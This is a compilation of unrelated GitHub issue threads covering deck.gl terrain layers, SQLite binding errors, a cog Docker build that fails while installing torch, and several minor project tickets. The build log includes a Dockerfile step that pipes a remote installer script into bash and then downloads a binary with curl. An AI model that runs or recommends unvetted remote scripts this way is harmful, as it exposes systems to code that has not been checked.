I suspect it would mostly be a question of having a good data set (i.e. 3D terrain information for the earth).
Do you have any information about what data Cesium is using?

@ibgreen Yes was looking exactly at 3d terrain rendering.
Cesium is using the following terrain providers https://cesiumjs.org/data-and-assets/terrain/  but it's possible to use other terrain tile set like the one from mapbox mapbox.terrain-rgb used on this demo with threejs https://www.mapbox.com/bites/00332/#13.4682/36.3871/-112.6445/18.0142/30.5289

There is also an issue open since 2015 in mapboxgl https://github.com/mapbox/mapbox-gl-js/issues/1489 but seems that is something with low priority or quite complex to achieve

This would be super cool for tools we are building internally as well.... imagine the terrain of SF... :)

One of the possible problems is  how to handle map elements like roads, labels and any other  object. They are currently clamped to the ground.
Cesium have the possibility to "clamptoground" a geojson feature or a marker on a terrain mesh: when the terrain tile is loaded and rendered, everything that is on the tile space change it's height in relation to the tile shape.
But this is something that needs to be handled either on mapbox side and on deckgl side

We've been working internally on some tools for using Cesium + Mapbox together and swapping libraries to jump between 2d/3d. Would love to hear more about how other people are approaching it. The main missing piece is around MVT support, which doesn't exist in cesium right now as far as we can tell.

I've used three.js in the past with bump/height mapping. I did a small experiment with D3.js, three.js and rendering a state (california) and then extruding it. Then to that, add mapping with a black/white image (low resolution). Here's an early rendering of what I was doing (sans height map): https://pbs.twimg.com/media/CsBMIlwVMAA258s.jpg
I found a few people doing the same and used parts of their research/code.
http://blog.mastermaps.com/2013/10/terrain-building-with-threejs-part-1.html
https://github.com/meetar/heightmap-demos
The challenge, for me, was finding high enough resolution height map imagery. Awesome to know mapbox has basically a tile server equivalent for elevation maps. That didn't exist before. This is probably one of the biggest hurdles.
This is definitely something I'm interested in too and given the limited time I have right now and the heavy lifting Uber has done here already...I'm likely going to look to do this again using deck.gl. I have no interest in hobbled together three.js + d3.js when there's a framework here that will help me put this into production faster. Though for me, I do want to see if it's possible to just render an isolated state/region with geojson. I like the idea of an "illustration" more than a "map" if that makes sense. I don't want to see everything around what I'm visualizing and I don't want the fidelity of roads, etc. Maybe just mountains and streams and a few city labels.
I'll follow along here and if by chance I make any progress before anyone else (slim chance), I'll also post back and share. Maybe the above links help someone.

The challenge, for me, was finding high enough resolution height map imagery.

I agree. I haven't spent a lot of time trying the mapbox datasets, but I'm eventually going to work something that converts them to height map images like the kind used in the deck.gl elevation layer. For now, I've only made height maps with some internal data.
But that test proved to me this layer is definitely good enough to be a terrain layer. I modified it a bit in december and got a nice result. If folks are interested, I can probably put together a PR for the layer I used. I'd argue until we have the function that converts mapbox data to the right kind of image, the deck.gl layer isn't super duper useful, but I believe this function is possible to make.

If you're able to, that'd be awesome. I'd love to see how it works. Even if it's a whole new layer and not so much a PR. I don't know how it works or what makes sense. If it's really that close to working that it's more of a small addition to the layer than a brand new one in its own right, that sounds even nicer.

This would be amazing, did any progress get made on it?

I've been doing some research on this...
Mapbox's Terrain RGB tiles store raw, tiled elevation data in 0.1m increments. I figured out a very basic working example to generate a mesh using Mapbox's open-source Martini, which is a fast way to generate a terrain mesh. (It looks like you could use @loaders.gl/images instead of get-pixel).
The mesh outputs vertices and triangle indices, and I'm working now to figure out how to integrate that into deck.gl. Is it just:
var Geometry = require('@luma.gl/core').Geometry
var attributes = {
  indices: mesh.triangles,
  positions: mesh.vertices
}
var geometry = new Geometry({attributes: attributes})
const layer = new SimpleMeshLayer({
  id: 'mesh-layer',
  mesh: geometry
});

The SimpleMeshLayer docs say that the attributes object is expected to have positions, normals, and texCoords. Would those be computed from the geometry object?
I'm working on trying to bundle things to test in the browser. I'm still new to JS...

I’m nearly done with the implementation of the TerrainLayer. It’s very functional except for a new runtime error that we’re still working out. https://github.com/uber/deck.gl/pull/3984

I didn't think to check for PRs because it had been a while since you had commented. I'll check/test out your fork!

Sorry for forgetting to update this thread. I only opened the PR a couple days ago :)

Btw, I’m not using Martini yet but would love to add that as a geometry option. I’m currently making a basic square grid for the geometry.
If you can see how what you’ve written can fit into the PR, please leave some comments. Thanks!

I think this can be closed now! 🎉

Hopefully the new layers works well for folks! Fee free to open a new one and cc me if you run into issues.

Additionally, since there's been historical interest in this thread, I wanted to note that I'm working on tools to render deck vector layers clamped to the terrain. I have a preliminary library to snap 2D vector features to the terrain mesh, which works for point and line features.

Wow that looks sooo cool


Crisp user data events

Ticket
This ticket contains:

Update to Crisp

Crisp
Crisp data should include all of the users data, similar to the response for the /user/me response. Will need to think of the best way to trigger an update to crisp

great changes and close to merge. just 2 comments above and also
these shouldnt be using await as we don't need the response or for it to be in order. it could fire 10 seconds after the action and it wouldnt matter much! so lets remove all await before a crisp call


Remove ODH integration tests from CFO repo

Issue link

What changes have been made

Removing deprecated ODH integration tests, as it was moved to https://github.com/opendatahub-io/distributed-workloads/tree/main/tests/odh
Verification steps

Checks

[ ] I've made sure the tests are passing.
Testing Strategy

[ ] Unit tests
[ ] Manual tests
[ ] Testing is not required for this change

Rebased to (hopefully) address test instabilities

/approve


Docker Fails While Installing torch

Hello, very interested in your package and trying to install it on my machine. This is my first time using cog. Perhaps you could provide some guidance.
I am on running Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux. The model weights install successfully, but when installing the python_packages in cog.yaml, the error occurs while installing torch==2.0.1. Below is the shell output:
$ sudo cog predict -i prompt="bossa nova" -i music_input=audio/song.mp3
Building Docker image from environment in cog.yaml...
[+] Building 64.4s (15/18)                                                                                docker:default
 => [internal] load build definition from Dockerfile                                                                                0.0s
 => => transferring dockerfile: 2.24kB                                                                                0.0s
 => [internal] load .dockerignore                                                                                0.0s
 => => transferring context: 2B                                                                                0.0s
 => resolve image config for docker.io/docker/dockerfile:1.4                                                                                0.2s
 => CACHED docker-image://docker.io/docker/dockerfile:1.4@sha256:9ba7531bd80fb0a858632727cf7a112fbfd19b17e94c4e84ced81e24ef1a0dbc                                0.0s
 => [internal] load metadata for docker.io/nvidia/cuda:11.7.1-cudnn8-devel-ubuntu22.04                                                                           0.5s
 => [stage-0  1/12] FROM docker.io/nvidia/cuda:11.7.1-cudnn8-devel-ubuntu22.04@sha256:38e59267704b5d91ef63c7d8f613359c629fab0aead1283d59ca7821029e73bc           0.0s
 => [internal] load build context                                                                                0.0s
 => => transferring context: 84.30kB                                                                                0.0s
 => CACHED [stage-0  2/12] RUN --mount=type=cache,target=/var/cache/apt set -eux; apt-get update -qq; apt-get install -qqy --no-install-recommends curl; rm -rf  0.0s
 => CACHED [stage-0  3/12] RUN --mount=type=cache,target=/var/cache/apt apt-get update -qq && apt-get install -qqy --no-install-recommends  make  build-essenti  0.0s
 => CACHED [stage-0  4/12] RUN curl -s -S -L https://raw.githubusercontent.com/pyenv/pyenv-installer/master/bin/pyenv-installer | bash &&  git clone https://gi  0.0s
 => CACHED [stage-0  5/12] COPY .cog/tmp/build4283179070/cog-0.0.1.dev-py3-none-any.whl /tmp/cog-0.0.1.dev-py3-none-any.whl                                      0.0s
 => CACHED [stage-0  6/12] RUN --mount=type=cache,target=/root/.cache/pip pip install /tmp/cog-0.0.1.dev-py3-none-any.whl                                        0.0s
 => CACHED [stage-0  7/12] RUN --mount=type=cache,target=/var/cache/apt apt-get update -qq && apt-get install -qqy ffmpeg portaudio19-dev && rm -rf /var/lib/ap  0.0s
 => CACHED [stage-0  8/12] COPY .cog/tmp/build4283179070/requirements.txt /tmp/requirements.txt                                                                  0.0s
 => ERROR [stage-0  9/12] RUN --mount=type=cache,target=/root/.cache/pip pip install -r /tmp/requirements.txt                                                   63.1s
------
 > [stage-0  9/12] RUN --mount=type=cache,target=/root/.cache/pip pip install -r /tmp/requirements.txt:
1.698 Looking in indexes: https://pypi.org/simple, https://download.pytorch.org/whl/cu117
1.707 Collecting git+https://github.com/CPJKU/madmom (from -r /tmp/requirements.txt (line 25))
1.709   Cloning https://github.com/CPJKU/madmom to /tmp/pip-req-build-jfhuov43
1.734   Running command git clone --filter=blob:none --quiet https://github.com/CPJKU/madmom /tmp/pip-req-build-jfhuov43
3.413   Resolved https://github.com/CPJKU/madmom to commit 0551aa8f48d71a367d92b5d3a347a0cf7cd97cc9
3.415   Running command git submodule update --init --recursive -q
9.401   Installing build dependencies: started
17.12   Installing build dependencies: finished with status 'done'
17.13   Getting requirements to build wheel: started
21.42   Getting requirements to build wheel: finished with status 'done'
21.42   Installing backend dependencies: started
22.66   Installing backend dependencies: finished with status 'done'
22.66   Preparing metadata (pyproject.toml): started
23.38   Preparing metadata (pyproject.toml): finished with status 'done'
23.96 Collecting torch==2.0.1+cu117
23.98   Downloading https://download.pytorch.org/whl/cu117/torch-2.0.1%2Bcu117-cp39-cp39-linux_x86_64.whl (1843.9 MB)
63.03 /root/.pyenv/pyenv.d/exec/pip-rehash/pip: line 20:    84 Killed                  "$PYENV_COMMAND_PATH" "$@"
------
Dockerfile:45
--------------------
  43 |     RUN --mount=type=cache,target=/var/cache/apt apt-get update -qq && apt-get install -qqy ffmpeg portaudio19-dev && rm -rf /var/lib/apt/lists/*
  44 |     COPY .cog/tmp/build4283179070/requirements.txt /tmp/requirements.txt
  45 | >>> RUN --mount=type=cache,target=/root/.cache/pip pip install -r /tmp/requirements.txt
  46 |     RUN pip3 install natten -f https://shi-labs.com/natten/wheels/cu117/torch2.0.0/index.html
  47 |     RUN curl -o /usr/local/bin/pget -L "https://github.com/replicate/pget/releases/download/v0.0.6/pget" && chmod +x /usr/local/bin/pget
--------------------
ERROR: failed to solve: process "/bin/sh -c pip install -r /tmp/requirements.txt" did not complete successfully: exit code: 137
ⅹ Failed to build Docker image: exit status 1

switched machines.

Hello @javanasse ,
That error with torch==2.0.1 is strange... Is it working after you switched machines?

you should add @ as a prefix of the local path!

$ sudo cog predict -i prompt="bossa nova" -i music_input=audio/song.mp3
->
$ sudo cog predict -i prompt="bossa nova" -i<EMAIL_ADDRESS>


remove outdated and unused jobtypes examples

The examples.py file has been updated for quite some time.  Additionally this is something that probably belongs in the docs rather than inside of the code base itself anyway.

@guidow, PTAL

Coverage increased (+0.13%) to 74.98% when pulling 00c9fdaa7b63a4a0b468c7450e12eaebf7bf63e1 on remove_examples into b32c08652b5da9079df4e3cf782f213ea02a8133 on master.

As simple as this example is, I think it would actually still work.
If you think this doesn't belong here, though, go ahead and remove it.

Yeah I think I'll go ahead and remove it.  We really need a better set of examples for one and they should also go somewhere more visible such as the docs...


TypeError: SQLite3 can only bind numbers, strings, bigints, buffers, and null

Help wanted please!
I have an array of objects, objects are in this form:
{
  afid: '57f9488f-3430-410e-9a0a-136887a9cf8a',
  audioFile: 'J:S_Music/AFX & LFO - AFX , LFO/A1 - LFO - Flu-Shot [Kringlan].mp3',
  year: 2005,
  title: 'Flu-Shot (Kringlan)',
  artist: 'LFO',
  album: 'AFX & LFO Split',
  genre1: 'Warp',
  imgData: <Buffer ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff e1 0e f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 ... 24523 more bytes>,
  lossless: false,
  bitrate: 320000,
  sampleRate: 44100
}

My statement:
  const insert = db.prepare(
      'INSERT INTO files (afid, audioFile, year, title, artist, album, genre, picture, lossless, bitrate, sample_rate) VALUES (@afid, @audioFile, @year, @title, @artist, @album, @genre1, @imgData, @lossless, @bitrate, @sampleRate)'
    );

I've attempted to even insert just one of the objects from the array arr[0]
but are constantly getting this error :
TypeError: SQLite3 can only bind numbers, strings, bigints, buffers, and null
I can successfully insert just the values like -
db.prepare(
  `INSERT INTO file VALUES ( 1234, 'J:S_Music/Andy Summers - The Golden Wire/6 - Blues For Snake.mp3', 1990,'Journey Through Blue Regions','Andy Summers', 'The Golden Wire',  'Rock',
 'ff d8 ff e1 00 bc 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 06 00 12 01 03 00 01 00 00 00 01 00 00 00 1a 01 05 00 01 00 00 00 56 00 00 00 1b 01 05 00 ... 36606', false,256000,44100
  )`
).run();

So I'm not sure what is wrong with my object (or statement) that it's throwing the error.

If you object has a prototype of anything other than Object.prototype or null, then it is considered some kind of class instance rather than a plain object. The error you're receiving is to prevent you from trying to bind types that don't exist in SQLite, such as Date, etc.

Turns out the field that was throwing the error was a boolean, which in my object is either true or false.  I was under the impression (from the sqlite docs) that true would automatically equate to 1 and false to 0.

Ah yes, I didn't notice that you had booleans. This was was a conscious design choice to that inserting and selecting data from SQLite have a symmetrical interface. For example, we could convert booleans to 1 and 0, but then users might expect it to go the other way around too, which is impossible.


No help for “createProjectileFromSprite” function when right-click in JS editor

Describe the bug
No help for “createProjectileFromSprite” function when right-click in JS editor
Steps to reproduce the behavior
1.Navigate to https://makecode.com/_h4T7PW7cfbe9
2.Switch to JS editor
3.Right click “createProjectileFromSprite” function----->help
Expect behavior
Show help
Actual behavior
No help for “createProjectileFromSprite” function when right-click in JS editor

Additional context
1.OS: Windows(rs6)
2.arcade version:1.0.2
3.Microsoft MakeCode version: 6.1.29

Also no help for projectile in block editor

This is still true


Use Writable for cluster state persistance instead of xContent

Currently ClusterState/Metadata and any custom metadata needs to
implement serialization via xContent for persisted storage and
writeTo/readFrom for communication between nodes.
Having two different serializations adds complexity.
Of the two writeTo/readFrom is more convenient to implement, and has
more surface area. We can use that for storage too.
This will allow us to:

Add new metadata components with only wirteTo/readFrom, without
xContent implementations
Drop the xContent implementations/registry once we no longer need to
keep them for BWC (probably in 7.0)
Re-use existing writeTo/readFrom implementations to store structures
like Reference without special mapping representations

Relates to:

https://github.com/crate/crate/issues/11939

I gave the crate-qa bwc tests (storageCompatibility and rolling upgrades) a short try against the branch and it seemed to work.

👍 great. With this change, couldn't we remove the ToXContent interface and all it's implementations? Isn't writing XContent only needed for BWC test now?

Good point. Looks like it is still used in at least ChecksumBlobStoreFormat
I'll see if we can adapt that too.


User Story 1.1 - Issue 11: User Story 1.1: Font Style difference in the text description of Volunteer Position.(Org Page)

Update more details on issue 11

see all issues are fixed except the width but it matches with the page.  so wait for the confirmation before closing it ( need to test other browsers)
https://user-images.githubusercontent.com/70918430/116440265-28569d80-a805-11eb-90f3-fd1cbdc9b5b1.mp4

confirmation from Ruchi it is fine to close it and test with other browsers working fine.
image